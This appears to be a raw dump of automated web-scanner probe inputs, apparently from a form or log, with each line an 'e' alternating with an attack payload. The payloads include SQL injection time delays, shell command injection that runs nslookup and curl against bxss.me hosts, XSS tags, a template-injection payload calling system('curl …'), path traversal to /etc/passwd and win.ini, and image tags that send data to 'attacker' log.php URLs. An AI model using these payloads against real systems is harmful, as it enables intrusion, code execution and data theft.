e

1

e

1

e

1

e

1

e

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

e

1

e

@@ffF4z

e

1

e

1-1)); waitfor delay '0:0:15' --

e

-1" OR 5*5=25 --

e

1

e

1

e

1

e

1

e

1

e

1'"

e

"+"A".concat(70-3).concat(22*4).concat(97).concat(77).concat(99).concat(83)+(require"socket" Socket.gethostbyname("hitzy"+"jhxlmpfrab674.bxss.me.")[3].to_s)+"

e

14EG53P3D0

e

1

e

1f42cnOYe')) OR 325=(SELECT 325 FROM PG_SLEEP(15))--

e

1

e

'{"

e

1

e

1

e

1

e

&echo qyvonr$()\ ptdgyv\nz^xyu||a #' &echo qyvonr$()\ ptdgyv\nz^xyu||a #|" &echo qyvonr$()\ ptdgyv\nz^xyu||a #

e

|echo comdpm$()\ qhfyuh\nz^xyu||a #' |echo comdpm$()\ qhfyuh\nz^xyu||a #|" |echo comdpm$()\ qhfyuh\nz^xyu||a #

e

../../../../../../../../../../../../../../windows/win.ini

e

'"()

e

'A'.concat(70-3).concat(22*4).concat(106).concat(65).concat(118).concat(78)+(require'socket' Socket.gethostbyname('hityy'+'qeirufpz606ba.bxss.me.')[3].to_s)

e

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

e

1

e

1

e

1

e

1

e

1

e

1

e

1

e

1

e

1

e

1

e

";print(md5(31337));$a="

e

1Lq2wGcI8'; waitfor delay '0:0:15' --

e

1

e

;(nslookup -q=cname hitiucxswpadte16fa.bxss.me||curl hitiucxswpadte16fa.bxss.me)|(nslookup -q=cname hitiucxswpadte16fa.bxss.me||curl hitiucxswpadte16fa.bxss.me)&(nslookup -q=cname hitiucxswpadte16fa.bxss.me||curl hitiucxswpadte16fa.bxss.me)

e

1

e

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

e

1

e

1

e

1

e

1

e

1"||sleep(27*1000)*bvbwmd||"

e

1

e

1"&&sleep(27*1000)*nrzrxb&&"

e

../../../../../../../../../../../../../../etc/shells

e

1

e

1

e

-1" OR 5*5=25 or "10GSQeri"="

e

Http://bxss.me/t/fit.txt

e

1

e

1

e

-1' OR 5*5=25 or 'tDYwAJRq'='

e

1-1; waitfor delay '0:0:15' --

e

1

e

1

e

1

e

1

e

1

e

1

e

1

e

1

e

1e9nybEL2

e

1

e

|(nslookup${IFS}-q${IFS}cname${IFS}hithluioxrruc3f32c.bxss.me||curl${IFS}hithluioxrruc3f32c.bxss.me)

e

1

e

1

e

1

e

1

e

1

e

1-1 OR 541=(SELECT 541 FROM PG_SLEEP(15))--

e

(select 198766*667891 from DUAL)

e

1

e

1

e

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

e

'.print(md5(31337)).'

e

1

e

&(nslookup -q=cname hitdfzobwphyk48101.bxss.me||curl hitdfzobwphyk48101.bxss.me)&'\"`0&(nslookup -q=cname hitdfzobwphyk48101.bxss.me||curl hitdfzobwphyk48101.bxss.me)&`'

e

`(nslookup -q=cname hityscvwncayt08676.bxss.me||curl hityscvwncayt08676.bxss.me)`

e

${10000081+9999767}

e

<%={{={@{#{${dfb}}%>

e

<%={{={@{#{${dfb}}%>

e

dfb{{98991*97996}}xca

e

<th:t="${dfb}#foreach

e

1<img src=//xss.bxss.me/t/dot.gif onload=shZR(9468)>

e

1<ScR<ScRiPt>IpT>BVZG(9924)</sCr<ScRiPt>IpT>

e

1

e

e

<%={{={@{#{${dfb}}%>

e

/../../../../../../../../../../boot.ini

e

1

e

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

e

<a HrEF=http://xss.bxss.me></a>

e

3SudOSTy'); waitfor delay '0:0:15' --

e

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

e

1 bcc:009247.38827-224555.38827.1a309.20008.2@bxss.me

e

-1); waitfor delay '0:0:15' --

e

1'&&sleep(27*1000)*cyffbv&&'

e

bfgx10946%C0%BEz1%C0%BCz2a%90bcxhjl10946

e

index.php

e

%F6<img zzz onmouseover=xP6y(92641) //%F6>

e

ePDyPJzD'); waitfor delay '0:0:15' --

e

1

e

5PKRyA7m' OR 836=(SELECT 836 FROM PG_SLEEP(15))--

e

1<script>cOyn(9611)</script>9611

e

<%={{={@{#{${dfb}}%>

e

/etc/shells

e

bfg2907＜s1﹥s2ʺs3ʹhjl2907

e

1

e

1'"()&%<zzz><ScRiPt >BVZG(9538)</ScRiPt>

e

1<ScRiPt >9ubi(9239)</ScRiPt>

e

1

e

../../../../../../../../../../../../../../etc/passwd

e

1<aIucEru x=9655>

e

'+'A'.concat(70-3).concat(22*4).concat(98).concat(73).concat(103).concat(82)+(require'socket' Socket.gethostbyname('hitmk'+'lcgfeaid5548c.bxss.me.')[3].to_s)+'

e

1<img/src=">" onerror=alert(9457)>

e

1'"()&%<zzz><ScRiPt >uGoW(9722)</ScRiPt>

e

<%={{={@{#{${dfb}}%>

e

-1' OR 5*5=25 --

e

1&lt;ScRiPt&gt;shZR(9271)&lt;/sCripT&gt;

e

1<script>9ubi(9905)</script>9905

e

1<script>RMim(9336)</script>9336

e

1

e

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

e

e

<th:t="${dfb}#foreach

e

1

e

WEB-INF/web.xml

e

19164704

e

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

e

$(nslookup -q=cname hitianzqdetej031ab.bxss.me||curl hitianzqdetej031ab.bxss.me)

e

1<img/src=">" onerror=alert(9765)>

e

<% response.write(9731521*9533289) %>

e

1

e

|echo faepsy$()\ dxfxhs\nz^xyu||a #' |echo faepsy$()\ dxfxhs\nz^xyu||a #|" |echo faepsy$()\ dxfxhs\nz^xyu||a #

e

&echo dhofpp$()\ rbxihl\nz^xyu||a #' &echo dhofpp$()\ rbxihl\nz^xyu||a #|" &echo dhofpp$()\ rbxihl\nz^xyu||a #

e

1<img sRc='http://attacker-9044/log.php?

e

file:///etc/passwd

e

1<script>RMim(9951)</script>

e

1<img src=//xss.bxss.me/t/dot.gif onload=9ubi(9311)>

e

xfs.bxss.me

e

1WJQqK9Bh') OR 659=(SELECT 659 FROM PG_SLEEP(15))--

e

1<WQEME1>UGHLS[!+!]</WQEME1>

e

1

e

'+response.write(9398872*9491793)+'

e

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9654'>

e

19193754

e

dfb__${98991*97996}__::.x

e

1-1 waitfor delay '0:0:15' --

e

1-1) OR 770=(SELECT 770 FROM PG_SLEEP(15))--

e

1

e

1<ScRiPt >BVZG(9943)</ScRiPt>

e

1<WEUOCO>7L7DK[!+!]</WEUOCO>

e

${@print(md5(31337))}\

e

1<ifRAme sRc=9802.com></IfRamE>

e

1

e

1<ai08Ict x=9317>

e

${10000243+9999871}

e

1

e

-5) OR 288=(SELECT 288 FROM PG_SLEEP(15))--

e

1<script>uGoW(9753)</script>9753

e

$(nslookup -q=cname hitzxngejyzhw84b89.bxss.me||curl hitzxngejyzhw84b89.bxss.me)

e

1

e

<!--

e

!(()&&!|*|*|

e

/etc/shells

e

1\u003CScRiPt\shZR(9777)\u003C/sCripT\u003E

e

bfg1358＜s1﹥s2ʺs3ʹhjl1358

e

1

e

;(nslookup -q=cname hitbtmxupwpreb53bb.bxss.me||curl hitbtmxupwpreb53bb.bxss.me)|(nslookup -q=cname hitbtmxupwpreb53bb.bxss.me||curl hitbtmxupwpreb53bb.bxss.me)&(nslookup -q=cname hitbtmxupwpreb53bb.bxss.me||curl hitbtmxupwpreb53bb.bxss.me)

e

)

e

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

e

1

e

dfb[[${98991*97996}]]xca

e

1

e

1

e

<a HrEF=http://xss.bxss.me></a>

e

dfb[[${98991*97996}]]xca

e

zWTCURrM

e

1ZoMsu <ScRiPt >shZR(9160)</ScRiPt>

e

1<ifRAme sRc=9241.com></IfRamE>

e

(nslookup -q=cname hittqxnawxoey0a8e0.bxss.me||curl hittqxnawxoey0a8e0.bxss.me))

e

1'"()&%<zzz><ScRiPt >shZR(9749)</ScRiPt>

e

)

e

!(()&&!|*|*|

e

http://bxss.me/t/fit.txt?.jpg

e

1&echo rypgts$()\ tzfxwq\nz^xyu||a #' &echo rypgts$()\ tzfxwq\nz^xyu||a #|" &echo rypgts$()\ tzfxwq\nz^xyu||a #

e

1

e

1-1); waitfor delay '0:0:15' --

e

/../../../../../../../../../../windows/system32/BITSADMIN.exe

e

bxss.me

e

1

e

1&lt;ScRiPt&gt;9ubi(9537)&lt;/sCripT&gt;

e

1

e

1<script>BVZG(9166)</script>

e

'"()&%<zzz><ScRiPt >BVZG(9558)</ScRiPt>

e

'.gethostbyname(lc('hitjd'.'unmnelnp445c6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(82).chr(109).chr(90).'

e

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

e

1<img src=//xss.bxss.me/t/dot.gif onload=BVZG(9496)>

e

1

e

'+'A'.concat(70-3).concat(22*4).concat(119).concat(75).concat(120).concat(82)+(require'socket' Socket.gethostbyname('hitpg'+'lcpstqdhe8de4.bxss.me.')[3].to_s)+'

e

1

e

WEB-INF\web.xml

e

1<ScR<ScRiPt>IpT>shZR(9809)</sCr<ScRiPt>IpT>

e

%31%3C%53%63%52%69%50%74%20%3E%78%50%36%79%289503%29%3C%2F%73%43%72%69%70%54%3E

e

'.print(md5(31337)).'

e

1<aIe0YhU<

e

1&echo yolisu$()\ cvqyts\nz^xyu||a #' &echo yolisu$()\ cvqyts\nz^xyu||a #|" &echo yolisu$()\ cvqyts\nz^xyu||a #

e

1

e

McccavEU

e

1

e

1

e

(select 198766*667891)

e

Go18Z8jP')) OR 92=(SELECT 92 FROM PG_SLEEP(15))--

e

1<ScRiPt >RMim(9169)</ScRiPt>

e

1<a64BYR3<

e

18UTqx <ScRiPt >9ubi(9885)</ScRiPt>

e

1

e

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9098'>

e

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9063></ScRiPt>

e

+response.write(9731521*9533289)'

e

1

e

1

e

1

e

1

e

-1' OR 2+420-420-1=0+0+0+1 or 'zRqPBWwP'='

e

1<img src=//xss.bxss.me/t/dot.gif onload=xP6y(9568)>

e

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9503></ScRiPt>

e

1<input autofocus onfocus=cOyn(9042)>

e

${9999722+9999200}

e

-1 OR 5*5=25

e

<%={{={@{#{${dfb}}%>

e

dfb{{98991*97996}}xca

e

-1" OR 2+93-93-1=0+0+0+1 --

e

1<ifRAme sRc=9806.com></IfRamE>

e

1

e

1

e

&nslookup -q=cname hitonetdrtgcq1e4d1.bxss.me&'\"`0&nslookup -q=cname hitonetdrtgcq1e4d1.bxss.me&`'

e

1<img/src=">" onerror=alert(9107)>

e

1*if(now()=sysdate(),sleep(15),0)

e

1<input autofocus onfocus=xP6y(9223)>

e

1

e

1'||sleep(27*1000)*cvkuty||'

e

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

e

<a HrEF=http://xss.bxss.me></a>

e

expr 9000778956 - 923423

e

1

e

1\u003CScRiPt\xP6y(9443)\u003C/sCripT\u003E

e

../../../../../../../../../../../../../../etc/passwd

e

1|echo xpjdnm$()\ vljzpj\nz^xyu||a #' |echo xpjdnm$()\ vljzpj\nz^xyu||a #|" |echo xpjdnm$()\ vljzpj\nz^xyu||a #

e

"&&sleep(27*1000)*homxhb&&"

e

1<a0KfWPX x=9561>

e

../../../../../../../../../../../../../../windows/win.ini

e

1|echo cifrex$()\ tuxraj\nz^xyu||a #' |echo cifrex$()\ tuxraj\nz^xyu||a #|" |echo cifrex$()\ tuxraj\nz^xyu||a #

e

1

e

1<W6JRVF>G934U[!+!]</W6JRVF>

e

1

e

1

e

${@print(md5(31337))}\

e

1

e

1<anXFmey<

e

PBy8kWBy') OR 521=(SELECT 521 FROM PG_SLEEP(15))--

e

1\u003CScRiPt\9ubi(9852)\u003C/sCripT\u003E

e

1'"()&%<zzz><ScRiPt >cOyn(9657)</ScRiPt>

e

'"()&%<zzz><ScRiPt >cOyn(9190)</ScRiPt>

e

-1 OR 2+117-117-1=0+0+0+1

e

-1); waitfor delay '0:0:15' --

e

1

e

<th:t="${dfb}#foreach

e

1

e

1<body onload=BVZG(9483)>

e

'"()&%<zzz><ScRiPt >qJRE(9693)</ScRiPt>

e

${@print(md5(31337))}\

e

1<input autofocus onfocus=BVZG(9492)>

e

1

e

1-1)) OR 675=(SELECT 675 FROM PG_SLEEP(15))--

e

1<img src=//xss.bxss.me/t/dot.gif onload=RMim(9228)>

e

1

e

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9426></ScRiPt>

e

1

e

1"||sleep(27*1000)*zssylv||"

e

dfb{{98991*97996}}xca

e

|(nslookup -q=cname hitojidaftnsqfa32c.bxss.me||curl hitojidaftnsqfa32c.bxss.me)

e

1<script>xP6y(9690)</script>9690

e

1<ScRiPt >RMim(9127)</ScRiPt>

e

!(()&&!|*|*|

e

1

e

1<isindex type=image src=1 onerror=uGoW(9650)>

e

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

e

dfb__${98991*97996}__::.x

e

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

e

1

e

1

e

'+response.write(9731521*9533289)+'

e

<a HrEF=jaVaScRiPT:>

e

".gethostbyname(lc("hitpc"."ympiipphb4b0a.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(81).chr(118).chr(88)."

e

1ZIU6aCva')); waitfor delay '0:0:15' --

e

1'"

e

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitcucxvknzfe71e52.bxss.me")}}

e

1dqzzdWlV'); waitfor delay '0:0:15' --

e

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

e

1<a459lFl<

e

index.php

e

(nslookup -q=cname hitalkbxtklzr13d46.bxss.me||curl hitalkbxtklzr13d46.bxss.me))

e

|(nslookup -q=cname hitgsrztdujae46a94.bxss.me||curl hitgsrztdujae46a94.bxss.me)

e

^(#$!@#$)(()))******

e

${@print(md5(31337))}

e

1

e

19908454

e

dfb[[${98991*97996}]]xca

e

'||sleep(27*1000)*dpcjyx||'

e

1

e

1<isindex type=image src=1 onerror=cOyn(9021)>

e

http://bxss.me/t/fit.txt?.jpg

e

'"()&%<zzz><ScRiPt >RMim(9181)</ScRiPt>

e

1<img src=//xss.bxss.me/t/dot.gif onload=uGoW(9715)>

e

1<isindex type=image src=1 onerror=9ubi(9973)>

e

"+"A".concat(70-3).concat(22*4).concat(100).concat(78).concat(108).concat(86)+(require"socket" Socket.gethostbyname("hitad"+"witgoedi96bcc.bxss.me.")[3].to_s)+"

e

OyI74mvw')); waitfor delay '0:0:15' --

e

1'"()&%<zzz><ScRiPt >c7ML(9709)</ScRiPt>

e

BPPYpnUV'; waitfor delay '0:0:15' --

e

@@nD6T2

e

<th:t="${dfb}#foreach

e

-1)); waitfor delay '0:0:15' --

e

1

e

1<WKHOEI>GOZVB[!+!]</WKHOEI>

e

1

e

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9877></ScRiPt>

e

1<img/src=">" onerror=alert(9183)>

e

1

e

Http://bxss.me/t/fit.txt

e

&(nslookup${IFS}-q${IFS}cname${IFS}hitijvajhsbdj94cba.bxss.me||curl${IFS}hitijvajhsbdj94cba.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitijvajhsbdj94cba.bxss.me||curl${IFS}hitijvajhsbdj94cba.bxss.me)&`'

e

<%={{={@{#{${dfb}}%>

e

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

e

1

e

1<script>shZR(9615)</script>

e

<a HrEF=http://xss.bxss.me></a>

e

-1 OR 2+780-780-1=0+0+0+1 --

e

1%C0%A7%C0%A2%2527%2522\'\"

e

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

e

1'||sleep(27*1000)*hnegrt||'

e

1<ScR<ScRiPt>IpT>9ubi(9360)</sCr<ScRiPt>IpT>

e

1<ifRAme sRc=9655.com></IfRamE>

e

'"()&%<zzz><ScRiPt >c7ML(9243)</ScRiPt>

e

".gethostbyname(lc("hithp"."wukvsykq292cf.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(70).chr(97).chr(66)."

e

1<WTFPVQ>LLRE9[!+!]</WTFPVQ>

e

<!--

e

%31%3C%53%63%52%69%50%74%20%3E%73%68%5A%52%289885%29%3C%2F%73%43%72%69%70%54%3E

e

;(nslookup -q=cname hitzgnxapmzwya0a67.bxss.me||curl hitzgnxapmzwya0a67.bxss.me)|(nslookup -q=cname hitzgnxapmzwya0a67.bxss.me||curl hitzgnxapmzwya0a67.bxss.me)&(nslookup -q=cname hitzgnxapmzwya0a67.bxss.me||curl hitzgnxapmzwya0a67.bxss.me)

e

../1

e

1

e

)

e

"+response.write(9731521*9533289)+"

e

1<script>9ubi(9339)</script>

e

'.gethostbyname(lc('hitdb'.'mixzoytqa8c57.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(82).chr(109).chr(71).'

e

1

e

redirtest.acx

e

1<ao2puPt<

e

redirtest.acx?1

e

`(nslookup -q=cname hitqwppcbvvwtb1b6a.bxss.me||curl hitqwppcbvvwtb1b6a.bxss.me)`

e

1<img sRc='http://attacker-9151/log.php?

e

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9553'>

e

1

e

1<ScRiPt >uGoW(9655)</ScRiPt>

e

1ZuhPY <ScRiPt >uGoW(9602)</ScRiPt>

e

%F6<img zzz onmouseover=9ubi(94821) //%F6>

e

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

e

..\..\..\..\..\..\..\..\windows\win.ini

e

HttP://bxss.me/t/xss.html?%00

e

1

e

cXzmb2gG'; waitfor delay '0:0:15' --

e

1

e

HttP://bxss.me/t/xss.html?%00

e

-1' OR 2+824-824-1=0+0+0+1 or 'KQs9Nqxp'='

e

gethostbyname(lc('hitkl'.'ztsjcyuhdf645.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(76).chr(111).chr(71)

e

1<WBOLSS>7S0PB[!+!]</WBOLSS>

e

dfb{{98991*97996}}xca

e

bfg1461＜s1﹥s2ʺs3ʹhjl1461

e

1<body onload=xP6y(9703)>

e

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9647'>

e

1<aA74Jj5<

e

bxss.me/t/xss.html?%00

e

1<esi:include src="http://bxss.me/rpb.png"/>

e

VDvCZfIN' OR 956=(SELECT 956 FROM PG_SLEEP(15))--

e

c:/windows/win.ini

e

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9216'>

e

1CUY7vIo7' OR 170=(SELECT 170 FROM PG_SLEEP(15))--

e

'"()&%<zzz><ScRiPt >9ubi(9378)</ScRiPt>

e

'"

e

-1)); waitfor delay '0:0:15' --

e

"+response.write(9604275*9615965)+"

e

';print(md5(31337));$a='

e

-1" OR 2+544-544-1=0+0+0+1 --

e

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

e

1

e

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

e

1

e

to@example.com> bcc:009247.38827-224556.38827.1a309.20008.2@bxss.me

e

1&lt;ScRiPt&gt;BVZG(9316)&lt;/sCripT&gt;

e

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

e

".gethostbyname(lc("hitzr"."epjjsptl50a1e.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(82).chr(122).chr(65)."

e

19750840

e

%31%3C%53%63%52%69%50%74%20%3E%75%47%6F%57%289220%29%3C%2F%73%43%72%69%70%54%3E

e

${@print(md5(31337))}

e

&nslookup -q=cname hitpfnskfjbqba3b8e.bxss.me&'\"`0&nslookup -q=cname hitpfnskfjbqba3b8e.bxss.me&`'

e

1<script>uGoW(9539)</script>

e

1<WD6J6K>YQCUN[!+!]</WD6J6K>

e

1<isindex type=image src=1 onerror=RMim(9143)>

e

1

e

1'"()&%<zzz><ScRiPt >xP6y(9587)</ScRiPt>

e

1

e

1<apru5XJ x=9110>

e

$(nslookup -q=cname hitzujlqgdenu59393.bxss.me||curl hitzujlqgdenu59393.bxss.me)

e

1

e

1<img sRc='http://attacker-9453/log.php?

e

1

e

-1)) OR 321=(SELECT 321 FROM PG_SLEEP(15))--

e

%31%3C%53%63%52%69%50%74%20%3E%39%75%62%69%289996%29%3C%2F%73%43%72%69%70%54%3E

e

index.php

e

1

e

1<img sRc='http://attacker-9791/log.php?

e

1

e

1&lt;ScRiPt&gt;uGoW(9276)&lt;/sCripT&gt;

e

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

e

";print(md5(31337));$a="

e

1

e

bxss.me

e

1<aKCLjs7 x=9059>

e

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

e

1&lt;ScRiPt&gt;RMim(9619)&lt;/sCripT&gt;

e

-1 OR 5*5=25 --

e

';print(md5(31337));$a='

e

-5 OR 419=(SELECT 419 FROM PG_SLEEP(15))--

e

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9097'>

e

1<acTGGtJ x=9593>

e

1ZwHd2 <ScRiPt >cOyn(9453)</ScRiPt>

e

%F6<img zzz onmouseover=uGoW(95211) //%F6>

e

bfgx1698%C0%BEz1%C0%BCz2a%90bcxhjl1698

e

${@print(md5(31337))}

e

1'"()&%<zzz><ScRiPt >RMim(9570)</ScRiPt>

e

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

e

1'&&sleep(27*1000)*bojzmb&&'

e

1

e

@@XIRUM

e

1&lt;ScRiPt&gt;xP6y(9442)&lt;/sCripT&gt;

e

19404750

e

1<ScRiPt >BVZG(9038)</ScRiPt>

e

1<script>BVZG(9509)</script>9509

e

1'"()&%<zzz><ScRiPt >DoM2(9712)</ScRiPt>

e

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

e

19350847

e

1<body onload=shZR(9330)>

e

1

e

1

e

1

e

1<img sRc='http://attacker-9012/log.php?

e

-1 OR 2+492-492-1=0+0+0+1

e

bfgx7124%C0%BEz1%C0%BCz2a%90bcxhjl7124

e

<a HrEF=jaVaScRiPT:>

e

|echo hzztnu$()\ ekexql\nz^xyu||a #' |echo hzztnu$()\ ekexql\nz^xyu||a #|" |echo hzztnu$()\ ekexql\nz^xyu||a #

e

1 waitfor delay '0:0:15' --

e

1<img src=xyz OnErRor=cOyn(9965)>

e

"+response.write(9398872*9491793)+"

e

1

e

%31%3C%53%63%52%69%50%74%20%3E%42%56%5A%47%289244%29%3C%2F%73%43%72%69%70%54%3E

e

';print(md5(31337));$a='

e

&(nslookup -q=cname hitpclllddodl3e21c.bxss.me||curl hitpclllddodl3e21c.bxss.me)&'\"`0&(nslookup -q=cname hitpclllddodl3e21c.bxss.me||curl hitpclllddodl3e21c.bxss.me)&`'

e

xfs.bxss.me

e

1

e

/etc/shells

e

1

e

1<input autofocus onfocus=9ubi(9360)>

e

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

e

%31%3C%53%63%52%69%50%74%20%3E%63%4F%79%6E%289672%29%3C%2F%73%43%72%69%70%54%3E

e

echo hitqxa$()\ xzgwpt\nz^xyu||a #' &echo hitqxa$()\ xzgwpt\nz^xyu||a #|" &echo hitqxa$()\ xzgwpt\nz^xyu||a #

e

'"()&%<zzz><ScRiPt >shZR(9532)</ScRiPt>

e

1<img sRc='http://attacker-9857/log.php?

e

response.write(9731521*9533289)

e

dfb[[${98991*97996}]]xca

e

'"()&%<zzz><ScRiPt >xP6y(9443)</ScRiPt>

e

1

e

index.php/.

e

'+response.write(9604275*9615965)+'

e

1

e

1<img src=xyz OnErRor=RMim(9853)>

e

1

e

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9140'>

e

%F6<img zzz onmouseover=RMim(97661) //%F6>

e

..\..\..\..\..\..\..\..\windows\win.ini

e

dfb__${98991*97996}__::.x

e

1<ScRiPt >cOyn(9240)</ScRiPt>

e

1<WLRCHG>RMCBK[!+!]</WLRCHG>